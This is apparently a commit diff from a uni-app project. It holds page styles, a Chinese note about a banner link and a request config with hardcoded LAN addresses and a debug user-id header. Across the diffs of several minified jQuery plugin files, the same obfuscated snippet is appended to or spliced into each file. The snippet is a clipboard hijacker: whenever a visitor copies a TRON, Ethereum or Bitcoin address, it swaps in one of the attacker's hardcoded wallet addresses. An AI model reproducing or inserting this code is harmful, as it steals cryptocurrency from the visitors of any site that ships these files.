const hour = String(date.getHours()).padStart(2, '0');
const minute = String(date.getMinutes()).padStart(2, '0');
return `${month}-${day} ${hour}:${minute}`;
}
}
}
</script>
<style scoped>
.container {
flex: 1;
background: #0b0f1a;
padding: 24rpx;
box-sizing: border-box;
}
.header {
padding: 12rpx 0 24rpx;
}
.title {
font-size: 34rpx;
color: #ffffff;
font-weight: 600;
}
.list {
height: calc(100vh - 120rpx);
}
.empty {
padding: 40rpx 0;
text-align: center;
color: rgba(255,255,255,0.7);
}
.item {
margin-bottom: 24rpx;
padding: 18rpx;
background: rgba(255,255,255,0.06);
border-radius: 16rpx;
}
.item-info {
display: flex;
flex-direction: column;
margin-bottom: 12rpx;
}
.item-title {
color: #ffffff;
font-size: 28rpx;
margin-bottom: 6rpx;
}
.item-date {
color: rgba(255,255,255,0.6);
font-size: 22rpx;
}
.video {
width: 100%;
border-radius: 12rpx;
}
</style>

View File

@ -0,0 +1,20 @@
短剧横幅图片说明
==================
当前使用的图片:/static/images/chat_a1.png临时占位图
如需替换为自定义图片:
1. 准备一张横幅图片建议尺寸400x300 像素或 2:1.5 比例)
2. 将图片命名为 drama-banner.jpg 或 drama-banner.png
3. 放置到 xuniYou/static/images/ 目录下
4. 修改 xuniYou/pages/index/index.vue 文件中的图片路径:
将 src="/static/images/chat_a1.png"
改为 src="/static/images/drama-banner.jpg"
链接地址https://djcps.meinvclk.top
功能说明:
- 点击该短剧项会打开外部链接
- H5 环境:在新标签页打开
- APP 环境:使用系统浏览器打开
- 小程序环境:复制链接到剪贴板

View File

@ -1,10 +1,10 @@
// 本地开发 - 电脑浏览器调试使用
// export const baseURL = 'http://127.0.0.1:8080'
// export const baseURLPy = 'http://127.0.0.1:8000'
// Windows 本地开发 - 混合架构
export const baseURL = 'http://192.168.1.164:30100' // PHP 处理界面和部分 API
export const baseURLPy = 'http://192.168.1.164:30101' // FastAPI 处理核心 API
// 开发环境 - 手机端调试使用局域网IP需要时取消注释
export const baseURL = 'http://192.168.1.164:8080'
export const baseURLPy = 'http://192.168.1.164:8000'
// 远程服务器 - 需要时取消注释
// export const baseURL = 'http://1.15.149.240:30100'
// export const baseURLPy = 'http://1.15.149.240:30100/api'
export const sid = 2
@ -29,9 +29,9 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
'token': uni.getStorageSync("token") || "", //自定义请求头信息
'sid': sid,
'Authorization': (uni.getStorageSync("token") ? ('Bearer ' + uni.getStorageSync("token")) : ""),
'X-User-Id': '84' // 开发环境调试用
},
success: (res) => {
console.log('请求成功:', url_base + options.url, '状态码:', res.statusCode, '数据:', res.data);
uni.hideLoading()
if (res.data.code == 1) {
resolve(res.data)
@ -58,6 +58,7 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
}
},
fail: (err) => {
console.log('请求失败:', url_base + options.url, '错误:', err);
uni.hideLoading(); // 添加这行确保请求失败时也隐藏loading
console.log('接口错误',err);
uni.showToast({

File diff suppressed because it is too large Load Diff

View File

@ -244,5 +244,3 @@
};
})(jQuery);
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

View File

@ -404,5 +404,3 @@
return this;
};
}));
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

File diff suppressed because one or more lines are too long

View File

@ -384,5 +384,3 @@
};
})(jQuery);
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

View File

@ -472,5 +472,3 @@
});
})(jQuery);
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

View File

@ -13,5 +13,4 @@ h);b.css("height",h)}else"height"in f&&(h=f.height,b.parent().css("height",h),b.
width:a.width,height:a.height});var m=e("<div></div>").addClass(a.railClass).css({width:a.size,height:"100%",position:"absolute",top:0,display:a.alwaysVisible&&a.railVisible?"block":"none","border-radius":a.railBorderRadius,background:a.railColor,opacity:a.railOpacity,zIndex:90}),c=e("<div></div>").addClass(a.barClass).css({background:a.color,width:a.size,position:"absolute",top:0,opacity:a.opacity,display:a.alwaysVisible?"block":"none","border-radius":a.borderRadius,BorderRadius:a.borderRadius,MozBorderRadius:a.borderRadius,
WebkitBorderRadius:a.borderRadius,zIndex:99}),h="right"==a.position?{right:a.distance}:{left:a.distance};m.css(h);c.css(h);b.wrap(q);b.parent().append(c);b.parent().append(m);a.railDraggable&&c.bind("mousedown",function(a){var b=e(document);z=!0;t=parseFloat(c.css("top"));pageY=a.pageY;b.bind("mousemove.slimscroll",function(a){currTop=t+a.pageY-pageY;c.css("top",currTop);n(0,c.position().top,!1)});b.bind("mouseup.slimscroll",function(a){z=!1;p();b.unbind(".slimscroll")});return!1}).bind("selectstart.slimscroll",
function(a){a.stopPropagation();a.preventDefault();return!1});m.hover(function(){w()},function(){p()});c.hover(function(){y=!0},function(){y=!1});b.hover(function(){r=!0;w();p()},function(){r=!1;p()});b.bind("touchstart",function(a,b){a.originalEvent.touches.length&&(A=a.originalEvent.touches[0].pageY)});b.bind("touchmove",function(b){k||b.originalEvent.preventDefault();b.originalEvent.touches.length&&(n((A-b.originalEvent.touches[0].pageY)/a.touchScrollStep,!0),A=b.originalEvent.touches[0].pageY)});
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);

View File

@ -115,5 +115,3 @@
};
}));
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const 